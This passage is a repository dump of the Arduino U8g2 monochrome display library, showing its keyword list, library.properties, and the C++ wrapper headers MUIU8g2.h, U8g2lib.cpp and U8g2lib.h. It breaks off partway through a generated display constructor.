u8g2_font_pxplustandynewtv_8u LITERAL1 u8x8_font_pxplustandynewtv_f LITERAL1 u8x8_font_pxplustandynewtv_r LITERAL1 u8x8_font_pxplustandynewtv_n LITERAL1 u8x8_font_pxplustandynewtv_u LITERAL1 u8g2_font_pxplustandynewtv_t_all LITERAL1 u8g2_font_pxplustandynewtv_8_all LITERAL1 u8g2_font_pxplusibmvga9_tf LITERAL1 u8g2_font_pxplusibmvga9_tr LITERAL1 u8g2_font_pxplusibmvga9_tn LITERAL1 u8g2_font_pxplusibmvga9_mf LITERAL1 u8g2_font_pxplusibmvga9_mr LITERAL1 u8g2_font_pxplusibmvga9_mn LITERAL1 u8g2_font_pxplusibmvga9_t_all LITERAL1 u8g2_font_pxplusibmvga9_m_all LITERAL1 u8g2_font_pxplusibmvga8_tf LITERAL1 u8g2_font_pxplusibmvga8_tr LITERAL1 u8g2_font_pxplusibmvga8_tn LITERAL1 u8g2_font_pxplusibmvga8_mf LITERAL1 u8g2_font_pxplusibmvga8_mr LITERAL1 u8g2_font_pxplusibmvga8_mn LITERAL1 u8g2_font_pxplusibmvga8_t_all LITERAL1 u8g2_font_pxplusibmvga8_m_all LITERAL1 u8g2_font_px437wyse700a_tf LITERAL1 u8g2_font_px437wyse700a_tr LITERAL1 u8g2_font_px437wyse700a_tn LITERAL1 u8g2_font_px437wyse700a_mf LITERAL1 u8g2_font_px437wyse700a_mr LITERAL1 u8g2_font_px437wyse700a_mn LITERAL1 u8g2_font_px437wyse700b_tf LITERAL1 u8g2_font_px437wyse700b_tr LITERAL1 u8g2_font_px437wyse700b_tn LITERAL1 u8g2_font_px437wyse700b_mf LITERAL1 u8g2_font_px437wyse700b_mr LITERAL1 u8g2_font_px437wyse700b_mn LITERAL1 u8x8_font_px437wyse700a_2x2_f LITERAL1 u8x8_font_px437wyse700a_2x2_r LITERAL1 u8x8_font_px437wyse700a_2x2_n LITERAL1 u8x8_font_px437wyse700b_2x2_f LITERAL1 u8x8_font_px437wyse700b_2x2_r LITERAL1 u8x8_font_px437wyse700b_2x2_n LITERAL1 ================================================ FILE: Bibliotecas/U8g2/library.properties ================================================ name=U8g2 version=2.34.22 author=oliver maintainer=oliver sentence=Monochrome LCD, OLED and eInk Library. Display controller: SSD1305, SSD1306, SSD1309, SSD1312, SSD1316, SSD1318, SSD1320, SSD1322, SSD1325, SSD1327, SSD1329, SSD1606, SSD1607, SH1106, SH1107, SH1108, SH1122, T6963, RA8835, LC7981, PCD8544, PCF8812, HX1230, UC1601, UC1604, UC1608, UC1610, UC1611, UC1617, UC1638, UC1701, ST7511, ST7528, ST7565, ST7567, ST7571, ST7586, ST7588, ST75160, ST75256, ST75320, NT7534, ST7920, IST3020, IST3088, IST7920, LD7032, KS0108, KS0713, HD44102, T7932, SED1520, SBN1661, IL3820, MAX7219, GP1287, GP1247, GU800. Interfaces: I2C, SPI, Parallel. paragraph=Monochrome LCD, OLED and eInk Library. Display controller: SSD1305, SSD1306, SSD1309, SSD1312, SSD1316, SSD1318, SSD1320, SSD1322, SSD1325, SSD1327, SSD1329, SSD1606, SSD1607, SH1106, SH1107, SH1108, SH1122, T6963, RA8835, LC7981, PCD8544, PCF8812, HX1230, UC1601, UC1604, UC1608, UC1610, UC1611, UC1617, UC1638, UC1701, ST7511, ST7528, ST7565, ST7567, ST7571, ST7586, ST7588, ST75160, ST75256, ST75320, NT7534, ST7920, IST3020, IST3088, IST7920, LD7032, KS0108, KS0713, HD44102, T7932, SED1520, SBN1661, IL3820, MAX7219, GP1287, GP1247, GU800. Interfaces: I2C, SPI, Parallel. Features: UTF8, >700 fonts, U8x8 char output. category=Display url=https://github.com/olikraus/u8g2 architectures=* license=BSD-2-Clause ================================================ FILE: Bibliotecas/U8g2/src/MUIU8g2.h ================================================ /* MUIU8g2.h C++ Arduino wrapper for clib/mui.h (monochome minimal user interface) Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef MUIU8G2_HH #define MUIU8G2_HH #include "clib/mui.h" #include "clib/mui_u8g2.h" class MUIU8G2 { protected: mui_t mui; public: MUIU8G2(void) { } MUIU8G2(U8G2 &u8g2, fds_t *fds, muif_t *muif_list, size_t muif_cnt) { mui_Init(&mui, (void *)u8g2.getU8g2(), fds, muif_list, muif_cnt); } void begin(U8G2 &u8g2, fds_t *fds, muif_t *muif_list, size_t muif_cnt) { mui_Init(&mui, (void *)u8g2.getU8g2(), fds, muif_list, muif_cnt); } mui_t *getMUI(void) { return &mui; } uint8_t getCurrentCursorFocusPosition(void) { return mui_GetCurrentCursorFocusPosition(&mui); } int getCurrentFormId(void) { return mui_GetCurrentFormId(&mui); } void draw(void) { mui_Draw(&mui); } //void getSelectableFieldTextOption(fds_t *fds, uint8_t nth_token) // { mui_GetSelectableFieldTextOption(&mui, fds, nth_token); } void enterForm(fds_t *fds, uint8_t initial_cursor_position) { mui_EnterForm(&mui, fds, initial_cursor_position); } void leaveForm(void) { mui_LeaveForm(&mui); } uint8_t gotoForm(uint8_t form_id, uint8_t initial_cursor_position) { return mui_GotoForm(&mui, form_id, initial_cursor_position); } void saveForm(void) { mui_SaveForm(&mui); } void restoreForm(void) { mui_RestoreForm(&mui); } void nextField(void) { mui_NextField(&mui); } void prevField(void) { mui_PrevField(&mui); } void sendSelect(void) { mui_SendSelect(&mui); } void sendSelectWithExecuteOnSelectFieldSearch(void) { mui_SendSelectWithExecuteOnSelectFieldSearch(&mui); } int isFormActive(void) { return mui_IsFormActive(&mui); } }; #endif /* MUIU8G2_HH */ ================================================ FILE: Bibliotecas/U8g2/src/U8g2lib.cpp ================================================ /* U8g2lib.cpp Arduino specific functions Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "U8g2lib.h" #ifdef ARDUINO static Print *u8g2_print_for_screenshot; void u8g2_print_callback(const char *s) { yield(); u8g2_print_for_screenshot->print(s); } void U8G2::writeBufferPBM(Print &p) { u8g2_print_for_screenshot = &p; u8g2_WriteBufferPBM(getU8g2(), u8g2_print_callback); } void U8G2::writeBufferXBM(Print &p) { u8g2_print_for_screenshot = &p; u8g2_WriteBufferXBM(getU8g2(), u8g2_print_callback); } void U8G2::writeBufferPBM2(Print &p) { u8g2_print_for_screenshot = &p; u8g2_WriteBufferPBM2(getU8g2(), u8g2_print_callback); } void U8G2::writeBufferXBM2(Print &p) { u8g2_print_for_screenshot = &p; u8g2_WriteBufferXBM2(getU8g2(), u8g2_print_callback); } #endif ================================================ FILE: Bibliotecas/U8g2/src/U8g2lib.h ================================================ /* U8g2lib.h C++ Arduino wrapper for the u8g2 struct and c functions for the u8g2 library Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Note: U8x8lib.h is included for the declaration of the helper functions in U8x8lib.cpp. U8g2 class is based on the u8g2 struct from clib/u8g2.h, the U8x8 class from U8x8lib.h is not used. */ #ifndef U8G2LIB_HH #define U8G2LIB_HH #ifdef ARDUINO #include #include #endif #include "U8x8lib.h" #include "clib/u8g2.h" class U8G2 #ifdef ARDUINO : public Print #endif { protected: u8g2_t u8g2; u8x8_char_cb cpp_next_cb; /* the cpp interface has its own decoding function for the Arduino print command */ public: u8g2_uint_t tx, ty; U8G2(void) { cpp_next_cb = u8x8_ascii_next; home(); } u8x8_t *getU8x8(void) { return u8g2_GetU8x8(&u8g2); } u8g2_t *getU8g2(void) { return &u8g2; } void sendF(const char *fmt, ...) { va_list va; va_start(va, fmt); u8x8_cad_vsendf(u8g2_GetU8x8(&u8g2), fmt, va); va_end(va); } uint32_t getBusClock(void) { return u8g2_GetU8x8(&u8g2)->bus_clock; } void setBusClock(uint32_t clock_speed) { u8g2_GetU8x8(&u8g2)->bus_clock = clock_speed; } void setI2CAddress(uint8_t adr) { u8g2_SetI2CAddress(&u8g2, adr); } void enableUTF8Print(void) { cpp_next_cb = u8x8_utf8_next; } void disableUTF8Print(void) { cpp_next_cb = u8x8_ascii_next; } /* u8x8 interface */ uint8_t getCols(void) { return u8x8_GetCols(u8g2_GetU8x8(&u8g2)); } uint8_t getRows(void) { return u8x8_GetRows(u8g2_GetU8x8(&u8g2)); } void drawTile(uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr) { u8x8_DrawTile(u8g2_GetU8x8(&u8g2), x, y, cnt, tile_ptr); } #ifdef U8X8_WITH_USER_PTR void *getUserPtr() { return u8g2_GetUserPtr(&u8g2); } void setUserPtr(void *p) { u8g2_SetUserPtr(&u8g2, p); } #endif #ifdef U8X8_USE_PINS /* set the menu pins before calling begin() or initDisplay() */ void setMenuSelectPin(uint8_t val) { u8g2_SetMenuSelectPin(&u8g2, val); } void setMenuPrevPin(uint8_t val) { u8g2_SetMenuPrevPin(&u8g2, val); } void setMenuNextPin(uint8_t val) { u8g2_SetMenuNextPin(&u8g2, val); } void setMenuUpPin(uint8_t val) { u8g2_SetMenuUpPin(&u8g2, val); } void setMenuDownPin(uint8_t val) { u8g2_SetMenuDownPin(&u8g2, val); } void setMenuHomePin(uint8_t val) { u8g2_SetMenuHomePin(&u8g2, val); } #endif /* return 0 for no event or U8X8_MSG_GPIO_MENU_SELECT, */ /* U8X8_MSG_GPIO_MENU_NEXT, U8X8_MSG_GPIO_MENU_PREV, */ /* U8X8_MSG_GPIO_MENU_HOME */ uint8_t getMenuEvent(void) { return u8x8_GetMenuEvent(u8g2_GetU8x8(&u8g2)); } void initDisplay(void) { u8g2_InitDisplay(&u8g2); } /* call initInterface if the uC comes out of deep sleep mode and display is already running */ /* initInterface is part if initDisplay, do not call both use either initDisplay OR initInterface */ void initInterface(void) { u8g2_InitInterface(&u8g2); } void clearDisplay(void) { u8g2_ClearDisplay(&u8g2); } void setPowerSave(uint8_t is_enable) { u8g2_SetPowerSave(&u8g2, is_enable); } void setFlipMode(uint8_t mode) { u8g2_SetFlipMode(&u8g2, mode); } void setContrast(uint8_t value) { u8g2_SetContrast(&u8g2, value); } void setDisplayRotation(const u8g2_cb_t *u8g2_cb) { u8g2_SetDisplayRotation(&u8g2, u8g2_cb); } bool begin(void) { /* note: call to u8x8_utf8_init is not required here, this is done in the setup procedures before */ #ifndef U8G2_USE_DYNAMIC_ALLOC initDisplay(); clearDisplay(); setPowerSave(0); return 1; #else return 0; #endif } void beginSimple(void) { /* does not clear the display and does not wake up the display */ /* user is responsible for calling clearDisplay() and setPowerSave(0) */ initDisplay(); } #ifdef U8X8_USE_PINS /* use U8X8_PIN_NONE if a pin is not required */ bool begin(uint8_t menu_select_pin, uint8_t menu_next_pin, uint8_t menu_prev_pin, uint8_t menu_up_pin = U8X8_PIN_NONE, uint8_t menu_down_pin = U8X8_PIN_NONE, uint8_t menu_home_pin = U8X8_PIN_NONE) { setMenuSelectPin(menu_select_pin); setMenuNextPin(menu_next_pin); setMenuPrevPin(menu_prev_pin); setMenuUpPin(menu_up_pin); setMenuDownPin(menu_down_pin); setMenuHomePin(menu_home_pin); return begin(); } #endif /* u8g2 */ #ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT void setMaxClipWindow(void) { u8g2_SetMaxClipWindow(&u8g2); } void setClipWindow(u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1) { u8g2_SetClipWindow(&u8g2, clip_x0, clip_y0, clip_x1, clip_y1 ); } #endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */ u8g2_uint_t getDisplayHeight(void) { return u8g2_GetDisplayHeight(&u8g2); } u8g2_uint_t getDisplayWidth(void) { return u8g2_GetDisplayWidth(&u8g2); } /* u8g2_buffer.c */ void sendBuffer(void) { u8g2_SendBuffer(&u8g2); } void clearBuffer(void) { u8g2_ClearBuffer(&u8g2); } void firstPage(void) { u8g2_FirstPage(&u8g2); } uint8_t nextPage(void) { return u8g2_NextPage(&u8g2); } #ifdef U8G2_USE_DYNAMIC_ALLOC void setBufferPtr(uint8_t *buf) { u8g2_SetBufferPtr(&u8g2, buf); } uint16_t getBufferSize() { return u8g2_GetBufferSize(&u8g2); } #endif uint8_t *getBufferPtr(void) { return u8g2_GetBufferPtr(&u8g2); } uint8_t getBufferTileHeight(void) { return u8g2_GetBufferTileHeight(&u8g2); } uint8_t getBufferTileWidth(void) { return u8g2_GetBufferTileWidth(&u8g2); } uint8_t getPageCurrTileRow(void) { return u8g2_GetBufferCurrTileRow(&u8g2); } // obsolete void setPageCurrTileRow(uint8_t row) { u8g2_SetBufferCurrTileRow(&u8g2, row); } // obsolete uint8_t getBufferCurrTileRow(void) { return u8g2_GetBufferCurrTileRow(&u8g2); } void setBufferCurrTileRow(uint8_t row) { u8g2_SetBufferCurrTileRow(&u8g2, row); } // this should be renamed to setBufferAutoClear void setAutoPageClear(uint8_t mode) { u8g2_SetAutoPageClear(&u8g2, mode); } void updateDisplayArea(uint8_t tx, uint8_t ty, uint8_t tw, uint8_t th) { u8g2_UpdateDisplayArea(&u8g2, tx, ty, tw, th); } void updateDisplay(void) { u8g2_UpdateDisplay(&u8g2); } void refreshDisplay(void) { u8x8_RefreshDisplay(u8g2_GetU8x8(&u8g2)); } /* clib/u8g2.hvline.c */ void setDrawColor(uint8_t color_index) { u8g2_SetDrawColor(&u8g2, color_index); } uint8_t getDrawColor(void) { return u8g2_GetDrawColor(&u8g2); } void drawPixel(u8g2_uint_t x, u8g2_uint_t y) { u8g2_DrawPixel(&u8g2, x, y); } void drawHLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w) { u8g2_DrawHLine(&u8g2, x, y, w); } void drawVLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t h) { u8g2_DrawVLine(&u8g2, x, y, h); } void drawHVLine(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir) { u8g2_DrawHVLine(&u8g2, x, y, len, dir); } /* u8g2_box.c */ void drawFrame(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { u8g2_DrawFrame(&u8g2, x, y, w, h); } void drawRFrame(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_DrawRFrame(&u8g2, x, y, w, h,r); } void drawBox(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h) { u8g2_DrawBox(&u8g2, x, y, w, h); } void drawRBox(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r) { u8g2_DrawRBox(&u8g2, x, y, w, h,r); } /* u8g2_button.c */ void drawButtonUTF8(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text) { u8g2_DrawButtonUTF8(&u8g2, x, y, flags, width, padding_h, padding_v, text); } /* u8g2_circle.c */ void drawCircle(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawCircle(&u8g2, x0, y0, rad, opt); } void drawDisc(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rad, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawDisc(&u8g2, x0, y0, rad, opt); } void drawEllipse(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawEllipse(&u8g2, x0, y0, rx, ry, opt); } void drawFilledEllipse(u8g2_uint_t x0, u8g2_uint_t y0, u8g2_uint_t rx, u8g2_uint_t ry, uint8_t opt = U8G2_DRAW_ALL) { u8g2_DrawFilledEllipse(&u8g2, x0, y0, rx, ry, opt); } /* u8g2_line.c */ void drawLine(u8g2_uint_t x1, u8g2_uint_t y1, u8g2_uint_t x2, u8g2_uint_t y2) { u8g2_DrawLine(&u8g2, x1, y1, x2, y2); } /* u8g2_bitmap.c */ void setBitmapMode(uint8_t is_transparent) { u8g2_SetBitmapMode(&u8g2, is_transparent); } void drawBitmap(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_DrawBitmap(&u8g2, x, y, cnt, h, bitmap); } void drawXBM(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_DrawXBM(&u8g2, x, y, w, h, bitmap); } void drawXBMP(u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap) { u8g2_DrawXBMP(&u8g2, x, y, w, h, bitmap); } /* u8g2_polygon.c */ void drawTriangle(int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2) { u8g2_DrawTriangle(&u8g2, x0, y0, x1, y1, x2, y2); } /* u8log_u8g2.c */ void drawLog(u8g2_uint_t x, u8g2_uint_t y, class U8G2LOG &u8g2log); /* u8g2_font.c */ void setFont(const uint8_t *font) {u8g2_SetFont(&u8g2, font); } void setFontMode(uint8_t is_transparent) {u8g2_SetFontMode(&u8g2, is_transparent); } void setFontDirection(uint8_t dir) {u8g2_SetFontDirection(&u8g2, dir); } int8_t getAscent(void) { return u8g2_GetAscent(&u8g2); } int8_t getDescent(void) { return u8g2_GetDescent(&u8g2); } void setFontPosBaseline(void) { u8g2_SetFontPosBaseline(&u8g2); } void setFontPosBottom(void) { u8g2_SetFontPosBottom(&u8g2); } void setFontPosTop(void) { u8g2_SetFontPosTop(&u8g2); } void setFontPosCenter(void) { u8g2_SetFontPosCenter(&u8g2); } void setFontRefHeightText(void) { u8g2_SetFontRefHeightText(&u8g2); } void setFontRefHeightExtendedText(void) { u8g2_SetFontRefHeightExtendedText(&u8g2); } void setFontRefHeightAll(void) { u8g2_SetFontRefHeightAll(&u8g2); } /* uint8_t u8g2_IsGlyph(u8g2_t *u8g2, uint16_t requested_encoding); int8_t u8g2_GetGlyphWidth(u8g2_t *u8g2, uint16_t requested_encoding); u8g2_uint_t u8g2_GetStrWidth(u8g2_t *u8g2, const char *s); u8g2_uint_t u8g2_GetUTF8Width(u8g2_t *u8g2, const char *str); */ u8g2_uint_t drawGlyph(u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { return u8g2_DrawGlyph(&u8g2, x, y, encoding); } u8g2_uint_t drawGlyphX2(u8g2_uint_t x, u8g2_uint_t y, uint16_t encoding) { return u8g2_DrawGlyphX2(&u8g2, x, y, encoding); } u8g2_uint_t drawStr(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawStr(&u8g2, x, y, s); } u8g2_uint_t drawStrX2(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawStrX2(&u8g2, x, y, s); } u8g2_uint_t drawUTF8(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawUTF8(&u8g2, x, y, s); } u8g2_uint_t drawUTF8X2(u8g2_uint_t x, u8g2_uint_t y, const char *s) { return u8g2_DrawUTF8X2(&u8g2, x, y, s); } u8g2_uint_t drawExtUTF8(u8g2_uint_t x, u8g2_uint_t y, uint8_t to_left, const uint16_t *kerning_table, const char *s) { return u8g2_DrawExtUTF8(&u8g2, x, y, to_left, kerning_table, s); } u8g2_uint_t getStrWidth(const char *s) { return u8g2_GetStrWidth(&u8g2, s); } u8g2_uint_t getUTF8Width(const char *s) { return u8g2_GetUTF8Width(&u8g2, s); } // not required any more, enable UTF8 for print //void printUTF8(const char *s) { tx += u8g2_DrawUTF8(&u8g2, tx, ty, s); } #ifdef ARDUINO /* screenshot functions for full buffer mode */ /* vertical top lsb memory architecture */ void writeBufferPBM(Print &p); void writeBufferXBM(Print &p); /* horizontal right lsb memory architecture */ /* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ void writeBufferPBM2(Print &p); void writeBufferXBM2(Print &p); #endif /* virtual function for print base class */ size_t write(uint8_t v) { uint16_t e = cpp_next_cb(&(u8g2.u8x8), v); if ( e < 0x0fffe ) { u8g2_uint_t delta = u8g2_DrawGlyph(&u8g2, tx, ty, e); #ifdef U8G2_WITH_FONT_ROTATION switch(u8g2.font_decode.dir) { case 0: tx += delta; break; case 1: ty += delta; break; case 2: tx -= delta; break; case 3: ty -= delta; break; } // requires 10 bytes more on avr //tx = u8g2_add_vector_x(tx, delta, 0, u8g2.font_decode.dir); //ty = u8g2_add_vector_y(ty, delta, 0, u8g2.font_decode.dir); #else tx += delta; #endif } return 1; } size_t write(const uint8_t *buffer, size_t size) { size_t cnt = 0; while( size > 0 ) { cnt += write(*buffer++); size--; } return cnt; } /* user interface */ /* uint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl); uint8_t u8g2_UserInterfaceMessage(u8g2_t *u8g2, const char *title1, const char *title2, const char *title3, const char *buttons); uint8_t u8g2_UserInterfaceInputValue(u8g2_t *u8g2, const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post); */ uint8_t userInterfaceSelectionList(const char *title, uint8_t start_pos, const char *sl) { return u8g2_UserInterfaceSelectionList(&u8g2, title, start_pos, sl); } uint8_t userInterfaceMessage(const char *title1, const char *title2, const char *title3, const char *buttons) { return u8g2_UserInterfaceMessage(&u8g2, title1, title2, title3, buttons); } uint8_t userInterfaceInputValue(const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) { return u8g2_UserInterfaceInputValue(&u8g2, title, pre, value, lo, hi, digits, post); } /* LiquidCrystal compatible functions */ void home(void) { tx = 0; ty = 0; u8x8_utf8_init(u8g2_GetU8x8(&u8g2)); } void clear(void) { home(); clearDisplay(); clearBuffer(); } void noDisplay(void) { u8g2_SetPowerSave(&u8g2, 1); } void display(void) { u8g2_SetPowerSave(&u8g2, 0); } void setCursor(u8g2_uint_t x, u8g2_uint_t y) { tx = x; ty = y; } u8g2_uint_t getCursorX() { return tx; } u8g2_uint_t getCursorY() { return ty; } /* u8glib compatible functions */ void sleepOn(void) { u8g2_SetPowerSave(&u8g2, 1); } void sleepOff(void) { u8g2_SetPowerSave(&u8g2, 0); } void setColorIndex(uint8_t color_index) { u8g2_SetDrawColor(&u8g2, color_index); } uint8_t getColorIndex(void) { return u8g2_GetDrawColor(&u8g2); } int8_t getFontAscent(void) { return u8g2_GetAscent(&u8g2); } int8_t getFontDescent(void) { return u8g2_GetDescent(&u8g2); } int8_t getMaxCharHeight(void) { return u8g2_GetMaxCharHeight(&u8g2); } int8_t getMaxCharWidth(void) { return u8g2_GetMaxCharWidth(&u8g2); } u8g2_uint_t getHeight() { return u8g2_GetDisplayHeight(&u8g2); } u8g2_uint_t getWidth() { return u8g2_GetDisplayWidth(&u8g2); } }; void u8g2_print_callback(const char *s); /* U8g2lib.cpp */ class U8G2LOG #ifdef ARDUINO : public Print #endif { public: u8log_t u8log; /* the constructor does nothing, use begin() instead */ U8G2LOG(void) { } /* connect to u8g2, draw to u8g2 whenever required */ bool begin(class U8G2 &u8g2, uint8_t width, uint8_t height, uint8_t *buf) { u8log_Init(&u8log, width, height, buf); u8log_SetCallback(&u8log, u8log_u8g2_cb, u8g2.getU8g2()); return true; } /* disconnected version, manual redraw required */ bool begin(uint8_t width, uint8_t height, uint8_t *buf) { u8log_Init(&u8log, width, height, buf); return true; } void setLineHeightOffset(int8_t line_height_offset) { u8log_SetLineHeightOffset(&u8log, line_height_offset); } void setRedrawMode(uint8_t is_redraw_line_for_each_char) { u8log_SetRedrawMode(&u8log, is_redraw_line_for_each_char); } /* virtual function for print base class */ size_t write(uint8_t v) { u8log_WriteChar(&u8log, v); return 1; } size_t write(const uint8_t *buffer, size_t size) { size_t cnt = 0; while( size > 0 ) { cnt += write(*buffer++); size--; } return cnt; } void writeString(const char *s) { u8log_WriteString(&u8log, s); } void writeChar(uint8_t c) { u8log_WriteChar(&u8log, c); } void writeHex8(uint8_t b) { u8log_WriteHex8(&u8log, b); } void writeHex16(uint16_t v) { u8log_WriteHex16(&u8log, v); } void writeHex32(uint32_t v) { u8log_WriteHex32(&u8log, v); } void writeDec8(uint8_t v, uint8_t d) { u8log_WriteDec8(&u8log, v, d); } void writeDec16(uint8_t v, uint8_t d) { u8log_WriteDec16(&u8log, v, d); } }; /* u8log_u8g2.c */ inline void U8G2::drawLog(u8g2_uint_t x, u8g2_uint_t y, class U8G2LOG &u8g2log) { u8g2_DrawLog(&u8g2, x, y, &(u8g2log.u8log)); } /* U8G2____ memory "1" one page "2" two pages "f" full frame buffer communication "SW SPI" */ #ifdef U8X8_USE_PINS /* null device */ class U8G2_NULL : public U8G2 { public: U8G2_NULL(const u8g2_cb_t *rotation) : U8G2() { u8g2_Setup_null(&u8g2, rotation, u8x8_byte_empty, u8x8_dummy_cb); } }; /* Arduino constructor list start */ /* generated code (codebuild), u8g2 project */ class U8G2_SSD1305_128X32_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X32_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X32_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x32_noname_1(&u8g2, rotation, 